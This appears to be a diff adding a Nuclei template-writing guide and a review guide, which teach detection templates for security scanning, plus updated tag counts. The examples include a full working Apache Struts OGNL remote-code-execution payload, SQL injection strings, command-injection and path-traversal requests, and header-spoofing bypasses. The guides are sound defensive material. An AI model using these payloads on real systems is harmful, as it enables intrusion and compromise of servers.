+  reference:
+    - https://cwiki.apache.org/confluence/display/WW/S2-057
+    - https://nvd.nist.gov/vuln/detail/CVE-2018-11776
+    - https://seclists.org/fulldisclosure/2018/Aug/31
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 8.1
+    cve-id: CVE-2018-11776
+    cwe-id: CWE-94
+```
+
+### **Step 4: Add Proper Tags and Metadata**
+```yaml
+info:
+  tags: cve,cve2018,rce,apache,struts,ognl  # Be specific and comprehensive
+  metadata:
+    verified: true  # Only if you've tested it yourself
+    max-request: 1  # Auto-calculated, don't set manually
+    shodan-query: 'http.component:"Apache Struts"'
+    fofa-query: 'body="struts" && title="Apache"'
+```
+
+---
+
+## Writing Effective HTTP Requests
+
+### **Basic HTTP Template Structure**
+```yaml
+http:
+  - method: GET|POST|PUT|DELETE
+    path:
+      - "{{BaseURL}}/endpoint"        # Dynamic BaseURL variable
+      - "{{Hostname}}/another-path"   # Alternative dynamic variable
+    
+    headers:
+      User-Agent: Custom-Agent-String
+      Content-Type: application/json
+      Origin: https://example.com
+    
+    body: |
+      {"param": "{{payload}}"}
+    
+    disable-cookie: false  # Cookies reused by default (optional)
+    
+    matchers-condition: and  # Require ALL matchers to pass
+    matchers:
+      - type: word
+        words:
+          - "success_indicator"
+        part: body
+```
+
+> **📖 Reference**: [HTTP Template Syntax](https://docs.projectdiscovery.io/templates/protocols/http) for complete protocol details
+
+### **Using Variables for Flexibility**
+```yaml
+variables:
+  username: "admin"
+  payload: "{{rand_base(8)}}"
+
+http:
+  - method: POST
+    path:
+      - "{{BaseURL}}/login"
+    body: |
+      username={{username}}&password={{payload}}
+```
+
+---
+
+## Matcher Best Practices
+
+### **🚫 Avoid Weak Matchers**
+```yaml
+# BAD - Too generic, will match many innocent systems
+matchers:
+  - type: word
+    words:
+      - "error"
+      - "admin"
+      - "login"
+    part: body
+```
+
+### **✅ Use Strong, Specific Matchers**
+```yaml
+# GOOD - Specific to the vulnerability
+matchers-condition: and
+matchers:
+  - type: word
+    words:
+      - "VulnApp Management Console v2.1.0"  # Specific application version
+      - "Build 2024.03.15"                   # Specific build
+    part: body
+    
+  - type: status
+    status:
+      - 200
+      
+  - type: word
+    words:
+      - "OGNL_INJECTION_SUCCESS_{{randstr}}"  # Proof of exploitation
+      - "java.lang.ProcessBuilder"            # Technical indicator
+    part: body
+    condition: or  # Any of these proves exploitation
+```
+
+### **Multi-Layer Verification Strategy**
+```yaml
+# Layer 1: Identify the application
+# Layer 2: Confirm vulnerable version  
+# Layer 3: Prove vulnerability exists
+matchers-condition: and
+matchers:
+  - type: word                    # Layer 1: App identification
+    words:
+      - "Apache Struts Framework"
+      - "struts-tags"
+    part: body
+    
+  - type: regex                   # Layer 2: Version detection
+    regex:
+      - 'Struts 2\.[0-4]\.[0-9]+'  # Vulnerable version range
+    part: body
+    
+  - type: word                    # Layer 3: Exploitation proof
+    words:
+      - "ognl.OgnlException"
+      - "java.lang.SecurityException"
+    part: body
+    condition: or
+```
+
+---
+
+## Testing Your Template
+
+### **Before Submitting - Test Thoroughly**
+```bash
+# Test against known vulnerable instance
+nuclei -t your-template.yaml -target http://vulnerable-app.local -debug
+
+# Test against patched/non-vulnerable systems
+nuclei -t your-template.yaml -target http://patched-app.local -debug
+
+# Test against similar but different applications
+nuclei -t your-template.yaml -target http://different-but-similar-app.local -debug
+```
+
+### **Validation Checklist**
+- [ ] Template detects the vulnerability on vulnerable systems
+- [ ] Template does NOT trigger false positives on:
+  - [ ] Patched versions of the same application
+  - [ ] Similar applications from the same vendor
+  - [ ] Generic web frameworks or CMSs
+  - [ ] Default server error pages
+- [ ] Matchers are specific enough to avoid honeypots
+- [ ] References are valid and accessible
+- [ ] YAML syntax is correct (`nuclei -validate -t template.yaml`)
+
+---
+
+## Common Vulnerability Types - Template Patterns
+
+### **SQL Injection Detection**
+```yaml
+http:
+  - method: POST
+    path:
+      - "{{BaseURL}}/search"
+    body: "q={{payload}}"
+    
+    payloads:
+      payload:
+        - "1' OR '1'='1"
+        - "1' UNION SELECT version()--"
+        - "1' AND (SELECT SUBSTRING(@@version,1,1))='5'--"
+    
+    matchers:
+      - type: word
+        words:
+          - "mysql_fetch_array(): supplied argument"
+          - "You have an error in your SQL syntax"
+          - "Microsoft OLE DB Provider for ODBC"
+        part: body
+```
+
+### **Remote Code Execution (RCE)**
+```yaml
+variables:
+  cmd: "whoami"
+  marker: "{{rand_base(8)}}"
+
+http:
+  - method: POST
+    path:
+      - "{{BaseURL}}/execute"
+    body: |
+      command={{cmd}} && echo {{marker}}
+    
+    matchers:
+      - type: word
+        words:
+          - "{{marker}}"
+        part: body
+      - type: regex
+        regex:
+          - 'root|administrator|www-data'
+        part: body
+```
+
+### **Local File Inclusion (LFI)**
+```yaml
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/view?file=../../../etc/passwd"
+      - "{{BaseURL}}/view?file=..\\..\\..\\windows\\win.ini"
+    
+    matchers:
+      - type: regex
+        regex:
+          - 'root:.*?:[0-9]*:[0-9]*:'  # Linux /etc/passwd
+          - '\[fonts\]'                 # Windows win.ini
+        part: body
+```
+
+### **Authentication Bypass**
+```yaml
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/admin"
+    headers:
+      X-Originating-IP: 127.0.0.1
+      X-Forwarded-For: 127.0.0.1
+      X-Real-IP: 127.0.0.1
+    
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "Admin Dashboard"
+          - "Administrative Panel"
+        part: body
+      - type: status
+        status:
+          - 200
+```
+
+---
+
+## Advanced Template Features
+
+### **Using Extractors for Data Collection**
+```yaml
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/info"
+    
+    extractors:
+      - type: regex
+        name: version
+        regex:
+          - 'Version: ([0-9\.]+)'
+        group: 1
+    
+    matchers:
+      - type: word
+        words:
+          - "Application Info"
+        part: body
+```
+
+### **Conditional Logic with DSL**
+```yaml
+matchers:
+  - type: dsl
+    dsl:
+      - 'status_code == 200'
+      - 'contains(body, "vulnerable_pattern")'
+      - 'len(body) > 1000'
+    condition: and
+```
+
+### **Network Templates for Non-HTTP Services**
+```yaml
+network:
+  - inputs:
+      - data: "{{hex_decode('474554202f20485454502f312e310d0a0d0a')}}"  # GET / HTTP/1.1
+    host:
+      - "{{Hostname}}"
+    port: 8080
+    
+    matchers:
+      - type: word
+        words:
+          - "Server: VulnServer/1.0"
+        part: data
+```
+
+---
+
+## Submission Guidelines
+
+### **Preparing Your Template for Submission**
+1. **Validate Syntax**
+   ```bash
+   nuclei -validate -t your-template.yaml
+   ```
+
+2. **Test Thoroughly**
+   ```bash
+   nuclei -t your-template.yaml -target vulnerable-instance.com -debug
+   ```
+
+3. **Check for Existing Templates**
+   - Search the repository for similar vulnerabilities
+   - Avoid duplicating existing detection logic
+   - If improving existing template, explain why
+
+4. **Follow Naming Conventions**
+   - Place in appropriate directory (`cves/2024/`, `exposures/`, `misconfiguration/`)
+   - Use descriptive filename: `CVE-2024-1234.yaml` or `app-name-vuln-type.yaml`
+
+### **Pull Request Best Practices**
+- **Title**: Clear description of what the template detects
+- **Description**: Include:
+  - Link to vulnerability details/advisory
+  - Affected versions
+  - Testing methodology
+  - Screenshots/proof if possible
+- **Testing**: Show debug output proving detection works
+- **Test Instances**: If you have a testable self-hosted instance or vulnerable environment that cannot be shared publicly, email [email protected]
+- **References**: Include all relevant security advisories
+
+> **💡 Pro Tip**: Providing a testable vulnerable environment significantly reduces review time and speeds up the template merge process. Reviewers can immediately validate your template instead of setting up their own test environment.
+
+---
+
+## Quality Checklist
+
+### **Before Submitting Your Template**
+- [ ] **Functionality**
+  - [ ] Template detects the intended vulnerability
+  - [ ] No false positives on tested systems
+  - [ ] Matchers are specific and accurate
+  
+- [ ] **Attribution**
+  - [ ] Original vulnerability discoverer credited in author field
+  - [ ] All references included and valid
+  - [ ] Proper CVSS scoring if applicable
+  
+- [ ] **Quality**
+  - [ ] YAML syntax is valid
+  - [ ] Follows nuclei template conventions
+  - [ ] Includes appropriate tags and metadata
+  
+- [ ] **Testing**
+  - [ ] Tested against vulnerable instance
+  - [ ] Tested against non-vulnerable similar systems
+  - [ ] Debug output reviewed for accuracy
+  
+- [ ] **Documentation**
+  - [ ] Clear description of what template detects
+  - [ ] Proper severity classification
+  - [ ] Complete reference list
+
+---
+
+## Examples of High-Quality Templates
+
+### **Complete CVE Template Example**
+```yaml
+id: CVE-2024-1234-apache-struts-rce
+
+info:
+  name: Apache Struts 2.x OGNL Code Injection
+  author: your-github-username,original-researcher-handle
+  severity: critical
+  description: |
+    Apache Struts 2.x before 2.3.34 and 2.5.x before 2.5.16 suffer from 
+    OGNL injection vulnerability in the namespace value that allows remote 
+    code execution.
+  reference:
+    - https://cwiki.apache.org/confluence/display/WW/S2-057
+    - https://nvd.nist.gov/vuln/detail/CVE-2018-11776
+    - https://seclists.org/fulldisclosure/2018/Aug/31
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 8.1
+    cve-id: CVE-2018-11776
+    cwe-id: CWE-94
+  metadata:
+    verified: true
+    shodan-query: 'http.component:"Apache Struts"'
+    fofa-query: 'body="struts" && title="Apache"'
+  tags: cve,cve2018,rce,apache,struts,ognl,kev
+
+variables:
+  command: "whoami"
+  marker: "{{rand_base(8)}}"
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/${(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='{{command}}').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}/actionChain1.action"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "struts"
+          - "java"
+        part: body
+        condition: or
+
+      - type: regex
+        regex:
+          - 'root|administrator|www-data|apache'
+        part: body
+```
+
+---
+
+## Getting Help
+
+### **Resources**
+- **Official Documentation**: [ProjectDiscovery Template Docs](https://docs.projectdiscovery.io/templates/introduction)
+- **HTTP Templates**: [HTTP Protocol Documentation](https://docs.projectdiscovery.io/templates/protocols/http)
+- **AI Template Creation**: [ProjectDiscovery Cloud Templates](https://cloud.projectdiscovery.io/templates) - AI-powered template generation
+- **Examples**: Browse existing templates in the [Nuclei Templates Repository](https://github.com/projectdiscovery/nuclei-templates)
+- **Community**: Join [ProjectDiscovery Discord](https://discord.gg/projectdiscovery) for questions and discussions
+- **Testing**: Use local vulnerable applications for safe testing
+- **Test Instances**: Email templates@projectdiscovery.io if you can provide a testable vulnerable environment
+
+> **💡 Pro Tip**: Sharing test instances with reviewers significantly accelerates the template review and merge process.
+
+### **Common Issues and Solutions**
+- **False Positives**: Make matchers more specific, add version detection
+- **YAML Errors**: Use online YAML validators, check indentation
+- **Template Not Triggering**: Verify target is actually vulnerable, check debug output
+- **Performance Issues**: Minimize requests, optimize matchers
+
+---
+
+*This guide provides everything needed to create high-quality, accurate nuclei templates that contribute valuable security detection capabilities to the community.*
@@ -0,0 +1,441 @@
+# Nuclei Template Review Guide
+**Best Practices for Template Quality and Security**
+
+---
+
+## Quick Reference
+
+### **Review Priority Areas**
+1. **Quality & Consistency** - Formatting, syntax, field standardization
+2. **Metadata Enhancement** - Search queries, classifications, documentation  
+3. **Tags Optimization** - Category alignment, searchability
+4. **Classification** - CVE/CWE alignment, severity scoring
+5. **Matcher Refinement** - Detection logic, false positive prevention
+
+### **Common Areas for Improvement**
+- **Community Contributions:** Often need metadata and classification enhancements
+- **Template Reviews:** Focus on technical accuracy and matcher quality
+
+---
+
+## Pre-Review Checklist
+
+### **Template Completeness Verification**
+```yaml
+Required Fields Checklist:
+- [ ] id: Short, descriptive (max 3-4 words)
+- [ ] name: Format "Vendor Product Version - Vulnerability"  
+- [ ] author: Template creator, vulnerability discoverer (comma-separated)
+- [ ] severity: info/low/medium/high/critical (CVSS aligned)
+- [ ] description: Clear vulnerability explanation
+- [ ] reference: Valid POC/advisory links
+- [ ] classification: CVE-ID, CWE-ID if applicable
+```
+
+### **Author Attribution Best Practices**
+```yaml
+# GOOD - Include both template author and vulnerability discoverer in author field
+info:
+  author: template-author-github-username,original-discoverer-handle
+  description: SQL injection vulnerability in Example App v2.1.0 allows remote code execution.
+  reference:
+    - https://github.com/security_researcher/advisories/example-app-sqli
+    - https://nvd.nist.gov/vuln/detail/CVE-2024-1234
+
+# EXAMPLES of proper author attribution
+info:
+  author: princechaddha,0xd0ff9  # Template by princechaddha, vulnerability found by 0xd0ff9
+
+info:
+  author: dhiyaneshDk,researcher_name  # Template by dhiyaneshDk, discovered by researcher_name
+
+info:
+  author: geeknik,@security_handle  # Template by geeknik, found by @security_handle
+```
+
+### **Metadata Quality Check**
+```yaml
+Enhanced Metadata:
+- [ ] verified: true (if tested with debug data)
+- [ ] shodan-query: Search dork for asset discovery
+- [ ] fofa-query: Alternative search engine query
+- [ ] tags: Appropriate categories (cve, rce, lfi, etc.)
+
+Note: max-request is auto-generated and doesn't need manual input
+```
+
+---
+
+## Matcher Quality Framework
+
+### **🚫 Weak Matchers (High False Positive Risk)**
+
+#### **Generic Response Patterns - AVOID**
+```yaml
+# BAD - Matches any admin interface globally
+matchers:
+  - type: word
+    words:
+      - "admin"
+      - "login"
+      - "dashboard"
+    part: body
+```
+**Problem:** These terms appear on millions of legitimate systems
+
+#### **Version-Only Detection - AVOID**
+```yaml  
+# BAD - Matches all versions, not just vulnerable ones
+matchers:
+  - type: regex
+    regex:
+      - 'WordPress [0-9]+\.[0-9]+'
+    part: body
+```
+**Problem:** Doesn't verify actual vulnerability presence
+
+### **✅ Strong Vulnerability-Specific Matchers**
+
+#### **Multi-Layer Verification Strategy**
+```yaml
+# GOOD - Combines application + version + vulnerability proof
+matchers-condition: and
+matchers:
+  - type: word                    # Layer 1: Identify specific application
+    words:
+      - "Grafana Dashboard"
+      - "grafana.com/login"
+    part: body
+    
+  - type: regex                   # Layer 2: Confirm vulnerable version range
+    regex:
+      - 'version.*[6-8]\.[0-5]\.[0-9]'
+    part: body
+    
+  - type: word                    # Layer 3: Verify exploit success
+    words:
+      - "unauthorized_data_access"
+      - "/api/snapshots/{{randstr}}"
+    part: body
+    condition: or
+```
+
+#### **CVE-Specific Template Example**
+```yaml
+# CVE-2024-1234 - Specific Application RCE
+matchers-condition: and  
+matchers:
+  - type: word
+    words:
+      - "VulnApp Management Console v2.1.0"    # Exact vulnerable version
+      - "Build 2024.03.15"                     # Specific build identifier
+    part: body
+    
+  - type: status                              # Expected response code
+    status:
+      - 200
+      
+  - type: word                                # Exploitation proof
+    words:  
+      - "RCE_EXECUTION_SUCCESS_{{randstr}}"    # Unique payload response
+      - "nuclei_test_command_output"           # Command execution indicator
+    part: body
+    condition: or
+```
+
+#### **Panel Detection - Unique Signatures**
+```yaml  
+# FortiGate Panel - Multiple unique identifiers
+matchers-condition: and
+matchers:
+  - type: word                    
+    words:
+      - "<title>FortiGate - Login</title>"     # Specific page title
+      - "Fortinet, Inc."                       # Vendor attribution  
+      - "FortiOS Version:"                     # Version indicator
+    part: body
+    condition: or
+    
+  - type: regex
+    regex:
+      - '/images/fortinet_logo_[0-9]+\.png'    # Unique asset pattern
+      - 'build_[0-9]{4}_[0-9]{6}'              # Build number format specific to FortiGate
+    part: body
+    condition: or
+```
+
+---
+
+## False Positive Prevention
+
+### **High-Risk Scenarios to Test**
+Before approval, verify matchers DON'T trigger on:
+
+1. **Related Non-Vulnerable Systems**
+   - Same vendor, different products
+   - Same application, patched versions
+   - Similar interfaces, different implementations
+
+2. **Generic Web Applications**
+   - Common frameworks (WordPress, Django, Rails)
+   - Standard admin panels (cPanel, Plesk)
+   - Default server pages (Apache, Nginx)
+
+3. **Honeypot/Security Tools**
+   - Intentionally deceptive responses
+   - Security scanners mimicking vulnerabilities
+   - Research environments with fake responses
+
+### **Matcher Testing Checklist**
+```yaml
+Required Validation Steps:
+- [ ] Test against 3+ non-vulnerable similar applications
+- [ ] Verify unique response elements are truly unique
+- [ ] Confirm payload/exploitation indicators are specific
+- [ ] Check matcher doesn't trigger on default installations
+- [ ] Validate version detection accuracy (if applicable)
+```
+
+---
+
+## Review Categories by Impact
+
+### **1. Metadata Enhancement**
+**Most Common Missing Elements:**
+- `shodan-query` for asset discovery
+- `fofa-query` for alternative search engines
+- `classification` fields for vulnerability tracking
+
+**Review Actions:**
+```yaml
+# Add asset discovery capabilities
+metadata:
+  verified: true
+  shodan-query: 'http.title:"Grafana" http.component:"Grafana"'
+  fofa-query: 'title="Grafana" && body="grafana"'
+
+# Ensure proper classification
+classification:
+  cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
+  cvss-score: 9.8
+  cve-id: CVE-2024-1234
+  cwe-id: CWE-89
+```
+
+### **2. Matcher Quality**
+**Common Issues:**
+- Overly broad detection patterns
+- Missing context verification
+- Weak exploitation proof
+
+**Review Standards:**
+```yaml
+# Require multi-layer validation
+matchers-condition: and  # Force all conditions to match
+matchers:
+  - type: word            # Application identification
+  - type: status          # Response validation  
+  - type: word            # Vulnerability proof
+    condition: or         # Allow multiple proof methods
+```
+
+### **3. Severity Assessment**
+**CVSS Alignment Requirements:**
+- **Critical (9.0-10.0):** Remote code execution, complete system compromise
+- **High (7.0-8.9):** Significant data breach, privilege escalation
+- **Medium (4.0-6.9):** Information disclosure, limited access
+- **Low (0.1-3.9):** Minor information leakage, requires authentication
+
+### **4. Reference Validation**
+**Required Reference Quality:**
+- Original vulnerability advisory (CVE, vendor security bulletin)
+- Technical analysis or proof of concept
+- NIST NVD entry (if available)
+- Public disclosure timeline
+
+---
+
+## Reviewer Action Templates
+
+### **For Metadata Improvements**
+```
+Please enhance the template metadata:
+- Add `shodan-query` for asset discovery: `[suggested query]`
+- Include `fofa-query` for alternative search: `[suggested query]`  
+- Verify `classification` fields are complete
+- Ensure `verified: true` with debug data if tested
+```
+
+### **For Weak Matchers**
+```
+The current matchers may produce false positives. Please:
+- Add application-specific identifiers (exact titles, unique elements)
+- Include version validation for vulnerable ranges only
+- Verify exploitation proof rather than just version detection
+- Test against [specific non-vulnerable scenarios]
+```
+
+### **For Severity Issues**
+```
+Severity should be [X] based on CVSS impact:
+- Attack Vector: [Network/Adjacent/Local/Physical]
+- Impact: [Complete/Partial/None] for CIA triad
+- Required Privileges: [None/Low/High]
+- Reference CVSS calculator: [link]
+```
+
+### **For Missing References**
+```
+Please add comprehensive references:
+- Original vulnerability disclosure/advisory
+- Technical analysis or exploitation details  
+- Official vendor security bulletin (if available)
+- NIST NVD entry: https://nvd.nist.gov/vuln/detail/CVE-XXXX-XXXX
+```
+
+### **For Missing Vulnerability Discoverer Attribution**
+```
+Please credit the original vulnerability discoverer in the author field:
+- Update author field: "template-author,vulnerability-discoverer" (comma-separated)
+- Example: "princechaddha,0xd0ff9" or "dhiyaneshDk,researcher_name"
+- Include original disclosure/research reference
+- Ensure proper credit for both template creator AND vulnerability researcher
+```
+
+---
+
+## Quality Standards & Goals
+
+### **Template Accuracy Goals**
+- **False Positive Rate:** <2% (verified through community feedback)
+- **Detection Coverage:** 95%+ for vulnerable instances
+- **Metadata Completeness:** 100% required fields, 80%+ enhanced fields
+
+### **Review Consistency Standards**
+- **Response Time:** Initial review within 48 hours
+- **Feedback Quality:** Specific, actionable guidance with examples
+- **Approval Criteria:** All quality checks pass, tested when possible
+
+### **Community Impact**
+- **Contribution Quality:** Monitor improvement patterns in repeat contributors
+- **Review Effectiveness:** Track issues caught in review vs. post-merge
+- **Knowledge Transfer:** Successful elevation of community template quality
+
+---
+
+## Advanced Review Techniques
+
+### **Template Testing Environment Setup**
+```bash
+# Recommended testing workflow
+nuclei -t new-template.yaml -target vulnerable-lab.com -debug
+nuclei -t new-template.yaml -target patched-system.com -debug
+nuclei -t new-template.yaml -list target-variety.txt -silent
+```
+
+### **Vulnerability Context Research**
+1. **CVE Database Cross-Reference:** Verify vulnerability details match template scope
+2. **Vendor Advisory Review:** Confirm affected versions and exploitation requirements  
+3. **Community Disclosure Analysis:** Check for additional context or limitations
+4. **Exploit Database Validation:** Compare detection approach with known exploits
+
+### **Review Documentation Standards**
+- Document testing methodology in PR comments
+- Provide specific improvement suggestions with examples
+- Reference similar high-quality templates as comparison
+- Explain security rationale for matcher requirements
+
+---
+
+## Practical Examples by Vulnerability Type
+
+### **SQL Injection Templates**
+```yaml
+# WRONG - Generic database errors (match many systems)
+matchers:
+  - type: word
+    words:
+      - "mysql_fetch"
+      - "SQL syntax"
+
+# RIGHT - Specific to vulnerability context
+matchers:
+  - type: word
+    words:
+      - "mysql_fetch_array(): supplied argument"    # Specific error pattern
+      - "WHERE id='1' OR '1'='1'"                   # Injection payload context
+      - "users table does not exist"                # Application-specific error
+    part: body
+    condition: and
+```
+
+### **RCE Templates**
+```yaml
+# WRONG - Generic command output
+matchers:
+  - type: word
+    words:
+      - "root"
+      - "/bin/bash"
+
+# RIGHT - Command execution in vulnerability context
+matchers:
+  - type: regex
+    regex:
+      - 'uid=0\(root\) gid=0\(root\) groups=0\(root\)'  # Complete whoami output
+    part: body
+  - type: word
+    words:
+      - "nuclei_rce_test_{{rand_base(6)}}"               # Unique payload identifier
+    part: body
+```
+
+### **File Upload Vulnerabilities**
+```yaml
+# WRONG - Generic file upload success
+matchers:
+  - type: word
+    words:
+      - "uploaded successfully"
+      - "file saved"
+
+# RIGHT - Vulnerability-specific upload validation
+matchers:
+  - type: word
+    words:
+      - "nuclei_test_{{randstr}}.php uploaded to /var/www/uploads/"  # Specific path + file
+      - "File permissions: 644"                                      # System response
+      - "<?php echo 'nuclei_upload_test'; ?>"                       # File content verification
+    part: body
+    condition: and
+```
+
+---
+
+## Multi-Layer Matcher Strategy
+
+```yaml
+# Use multiple verification layers
+matchers-condition: and
+matchers:
+  - type: word           # Layer 1: Identify the application
+    words:
+      - "VulnApp Management Console"
+    part: body
+    
+  - type: regex          # Layer 2: Confirm vulnerable version
+    regex:
+      - 'Version: [1-2]\.[0-5]\.[0-9]'
+    part: body
+    
+  - type: word           # Layer 3: Verify vulnerability exists
+    words:
+      - "debug_info_exposed"
+      - "configuration_leak"
+    part: body
+    condition: or
+```
+
+---
+
+*This guide provides comprehensive standards for creating and reviewing high-quality nuclei templates that are accurate, specific, and minimize false positives.*
@@ -1 +1 @@
-{"tags":[{"name":"cve","count":3066},{"name":"panel","count":1289},{"name":"xss","count":1229},{"name":"wordpress","count":1129},{"name":"exposure","count":1082},{"name":"wp-plugin","count":988},{"name":"osint","count":808},{"name":"tech","count":772},{"name":"lfi","count":758},{"name":"misconfig","count":735},{"name":"devops","count":727},{"name":"rce","count":715},{"name":"cloud","count":685},{"name":"edb","count":598},{"name":"packetstorm","count":551},{"name":"wp","count":540},{"name":"wpscan","count":531},{"name":"cve2021","count":503},{"name":"cve2022","count":500},{"name":"cve2023","count":472},{"name":"sqli","count":464},{"name":"detect","count":453},{"name":"cve2024","count":432},{"name":"login","count":415},{"name":"authenticated","count":414},{"name":"unauth","count":412},{"name":"file","count":376},{"name":"intrusive","count":370},{"name":"kev","count":335},{"name":"oast","count":267},{"name":"cve2020","count":260},{"name":"default-login","count":255},{"name":"config","count":253},{"name":"token-spray","count":247},{"name":"microsoft","count":235},{"name":"top-200","count":235},{"name":"apache","count":234},{"name":"gcp","count":232},{"name":"gcp-cloud-config","count":226},{"name":"gcloud","count":224},{"name":"network","count":215},{"name":"malware","count":213},{"name":"token","count":211},{"name":"osint-social","count":210},{"name":"azure","count":210},{"name":"csp-bypass","count":204},{"name":"","count":203},{"name":"azure-cloud-config","count":191},{"name":"aws","count":183},{"name":"time-based-sqli","count":178},{"name":"auth-bypass","count":177},{"name":"iot","count":174},{"name":"cve2018","count":173},{"name":"cve2019","count":170},{"name":"amazon","count":166},{"name":"install","count":164},{"name":"code","count":156},{"name":"keys","count":156},{"name":"redirect","count":154},{"name":"joomla","count":150},{"name":"ssrf","count":141},{"name":"tcp","count":139},{"name":"aws-cloud-config","count":138},{"name":"security","count":133},{"name":"files","count":124},{"name":"cms","count":123},{"name":"router","count":119},{"name":"phishing","count":117},{"name":"cve2017","count":117},{"name":"cve2010","count":112},{"name":"kubernetes","count":109},{"name":"disclosure","count":104},{"name":"top-100","count":100},{"name":"tokens","count":97},{"name":"linux","count":86},{"name":"seclists","count":84},{"name":"local","count":81},{"name":"privesc","count":80},{"name":"oss","count":79},{"name":"oracle","count":79},{"name":"takeover","count":79},{"name":"fileupload","count":77},{"name":"js","count":75},{"name":"windows","count":72},{"name":"cisco","count":71},{"name":"windows-audit","count":70},{"name":"enum","count":70},{"name":"k8s","count":69},{"name":"adobe","count":65},{"name":"huntr","count":64},{"name":"ir","count":63},{"name":"alibaba","count":61},{"name":"cve2015","count":60},{"name":"cve2016","count":60},{"name":"atlassian","count":59},{"name":"vmware","count":57},{"name":"c2","count":57},{"name":"google","count":57},{"name":"detection","count":57},{"name":"audit","count":53},{"name":"dast","count":51},{"name":"logs","count":50},{"name":"file-upload","count":50},{"name":"php","count":49},{"name":"deserialization","count":49},{"name":"cve2014","count":49},{"name":"tenable","count":48},{"name":"log4j","count":48},{"name":"cve2025","count":47},{"name":"debug","count":47},{"name":"hackerone","count":47},{"name":"traversal","count":47},{"name":"vulhub","count":46},{"name":"cnvd","count":46},{"name":"generic","count":46},{"name":"aem","count":46},{"name":"osint-gaming","count":45},{"name":"ssh","count":45},{"name":"aliyun","count":45},{"name":"jndi","count":44},{"name":"ssti","count":44},{"name":"injection","count":44},{"name":"oa","count":43},{"name":"ssl","count":43},{"name":"osint-porn","count":42},{"name":"plugin","count":42},{"name":"fortinet","count":42},{"name":"osint-hobby","count":42},{"name":"misc","count":42},{"name":"tls","count":41},{"name":"firewall","count":41},{"name":"listing","count":40},{"name":"ibm","count":40},{"name":"springboot","count":40},{"name":"postgresql","count":39},{"name":"miscellaneous","count":39},{"name":"sap","count":37},{"name":"jira","count":37},{"name":"cti","count":37},{"name":"dlink","count":36},{"name":"google-cloud-sql","count":36},{"name":"info-leak","count":36},{"name":"k8s-cluster-security","count":36},{"name":"osint-misc","count":35},{"name":"gitlab","count":34},{"name":"wp-theme","count":34},{"name":"networking","count":34},{"name":"devsecops","count":33},{"name":"api","count":33},{"name":"fuzz","count":33},{"name":"lfr","count":33},{"name":"nginx","count":31},{"name":"dns","count":31},{"name":"vpc","count":31},{"name":"osint-tech","count":31},{"name":"osint-coding","count":30},{"name":"ec2","count":30},{"name":"alibaba-cloud-config","count":30},{"name":"gke","count":29},{"name":"printer","count":28},{"name":"admin","count":28},{"name":"xxe","count":28},{"name":"tomcat","count":28},{"name":"yonyou","count":28},{"name":"manageengine","count":27},{"nLine truncated
+{"tags":[{"name":"cve","count":3330},{"name":"panel","count":1349},{"name":"xss","count":1249},{"name":"wordpress","count":1189},{"name":"exposure","count":1114},{"name":"wp-plugin","count":1038},{"name":"osint","count":841},{"name":"tech","count":811},{"name":"rce","count":796},{"name":"lfi","count":779},{"name":"misconfig","count":763},{"name":"devops","count":740},{"name":"cloud","count":696},{"name":"edb","count":599},{"name":"wp","count":586},{"name":"packetstorm","count":552},{"name":"wpscan","count":536},{"name":"detect","count":517},{"name":"cve2022","count":514},{"name":"cve2021","count":513},{"name":"cve2023","count":492},{"name":"sqli","count":489},{"name":"cve2024","count":476},{"name":"login","count":464},{"name":"unauth","count":445},{"name":"authenticated","count":431},{"name":"intrusive","count":412},{"name":"kev","count":392},{"name":"file","count":379},{"name":"oast","count":291},{"name":"default-login","count":282},{"name":"cve2020","count":279},{"name":"config","count":258},{"name":"token-spray","count":247},{"name":"apache","count":246},{"name":"microsoft","count":241},{"name":"top-200","count":235},{"name":"network","count":233},{"name":"gcp","count":232},{"name":"osint-social","count":226},{"name":"gcp-cloud-config","count":226},{"name":"gcloud","count":224},{"name":"malware","count":213},{"name":"token","count":212},{"name":"azure","count":210},{"name":"","count":206},{"name":"auth-bypass","count":193},{"name":"aws","count":192},{"name":"time-based-sqli","count":191},{"name":"azure-cloud-config","count":191},{"name":"csp-bypass","count":187},{"name":"cve2018","count":187},{"name":"iot","count":186},{"name":"cve2019","count":183},{"name":"code","count":181},{"name":"amazon","count":175},{"name":"cve2025","count":167},{"name":"install","count":167},{"name":"redirect","count":159},{"name":"keys","count":157},{"name":"ssrf","count":153},{"name":"tcp","count":152},{"name":"joomla","count":151},{"name":"aws-cloud-config","count":147},{"name":"security","count":139},{"name":"linux","count":137},{"name":"local","count":134},{"name":"router","count":132},{"name":"files","count":125},{"name":"cms","count":124},{"name":"cve2017","count":120},{"name":"phishing","count":118},{"name":"cve2010","count":112},{"name":"kubernetes","count":111},{"name":"disclosure","count":107},{"name":"audit","count":102},{"name":"top-100","count":100},{"name":"tokens","count":97},{"name":"windows-audit","count":90},{"name":"oss","count":89},{"name":"seclists","count":86},{"name":"privesc","count":84},{"name":"js","count":83},{"name":"takeover","count":81},{"name":"oracle","count":80},{"name":"fileupload","count":77},{"name":"windows","count":76},{